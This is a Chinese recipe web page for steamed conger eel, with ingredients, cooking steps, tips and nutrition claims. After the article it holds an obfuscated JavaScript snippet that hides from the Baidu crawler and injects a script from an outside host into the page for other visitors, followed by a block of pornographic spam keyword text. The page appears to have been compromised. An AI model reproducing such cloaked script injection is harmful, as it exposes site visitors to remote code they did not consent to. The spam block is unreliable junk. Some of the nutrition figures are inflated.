當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

清蒸海鰻魚的做法及營養(yǎng)價值

2017-07-07 08:31:39  來源:360常識網(wǎng)   熱度:
導(dǎo)語:隨著國家經(jīng)濟(jì)的提高,各家各戶的重點都已經(jīng)不是在如何維持溫飽上了。人們漸漸的開始享受生活。首先改變的就是飲食,現(xiàn)在人們對吃都非常講究

隨著國家經(jīng)濟(jì)的提高,各家各戶的重點都已經(jīng)不是在如何維持溫飽上了。人們漸漸的開始享受生活。首先改變的就是飲食,現(xiàn)在人們對吃都非常講究,已經(jīng)不再僅僅是保持飽的狀態(tài),而是在享受吃的內(nèi)容。下面我們就給大家推出一款非常好吃的食物,名字叫做清蒸海鰻魚,我們來看一下它的做法。

做法

食材

主料500g海鰻魚 配料適量油 適量生姜 適量大蔥 適量蒜苗 適量黃酒 適量蒸魚豉油

1 海鰻魚洗凈切段

2 我這個是曬干的海鰻魚,魚段可以切的稍小一些,蒸的時候好入味

3 生姜,蔥段切成絲備用

4 將海鰻魚放入大碗內(nèi),鋪上姜絲和蔥絲

5 倒入適量黃酒去腥

6 倒入適量蒸魚豉油調(diào)味

7 放上切好的蒜沫,腌制20分鐘以上

8 放入蒸鍋,蒸30分鐘

9 注意火候,大火燒開后,轉(zhuǎn)中小火

10 干海鰻,蒸的時候越長,魚肉越入味,出鍋啦

小貼士

喜歡吃辣椒的親,還可以加適量辣椒醬調(diào)味;

不加辣椒醬吃它的原味也非常香的。

營養(yǎng)價值

海鰻魚富含維生素A和維生素E,含量分別是普通魚類的60倍和9倍。其中維生素A為牛肉的100倍、豬肉的300倍以上。豐富的維生素A、維生素E,對于預(yù)防視力退化、保護(hù)肝臟、恢復(fù)精力有很大益處 。其他維生素如維生素B1、維生素B2含量同樣很豐富。鰻魚還含有豐富的“好”脂肪。其中所含的磷脂,為腦細(xì)胞不可缺少的營養(yǎng)素。另外,鰻魚還含有被俗稱為“腦黃金”的DHA及EPA(深海魚油成分,DHA為二十二碳六烯酸,EPA為二十碳五烯酸),含量比其他海鮮、肉類均高,而DHA和EPA被證實有預(yù)防心血管疾病的重要作用。此外,鰻魚還含有大量的鈣質(zhì),對于預(yù)防骨質(zhì) 疏松癥也有一定的效果。

上面呢,就是清蒸海鰻魚的具體做法及營養(yǎng)價值。從中我們可以看出不僅做法簡單而且營養(yǎng)價值極高。清蒸海鰻魚是一道營養(yǎng)價值非常豐富,且非常美味的菜。我們要趕緊手收藏起來,在以后有時間的時候,做給家人吃,是一件多么美好的事情啊!

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
99久久精品日本一区二区免费| 一本一本久久aa综合精品| 久久亚洲私人国产精品vA| 亚洲А∨精品天堂在线| 亚洲精品无码高潮喷水A片软| 国产精品免费无遮挡无码永久视频| 国产精品国三级国产AV| 国产精品久久永久免费| 国产亚洲一区二区精品| 麻豆va在线精品免费播放| 99久久这里只精品国产免费| 99久久久国产精品免费牛牛四川| 久久久精品国产亚洲成人满18免费网站| 久久久久久精品久久久| 在线人成精品免费视频| 精品一卡2卡三卡4卡免费视频| 亚洲国产综合精品中文字幕| 国产精品成熟老妇女| 亚洲精品二三区伊人久久| 久久国产精品范冰啊| 国产亚洲精品高清在线| 亚洲精品国产精品乱码不卡| 国产精品白嫩在线观看| 99国产精品永久免费视频| 精品午夜福利在线观看| 久久久91精品国产一区二区| 国产成人精品综合久久久久| 国产乱子伦精品无码专区| 伊人精品久久久久7777| 国产精品亚洲一区二区三区久久| 糖心vlog精品一区二区三区| 国产精品素人搭讪在线播放| 亚洲国产精品久久人人爱| 久热这里只有精品视频6| 久久精品国产99精品最新| 中文精品久久久久人妻| 久久露脸国产精品| 久久er国产精品免费观看8| 国产精品亚洲视频| 精品日本一区二区三区在线观看 | 一本之道av不卡精品|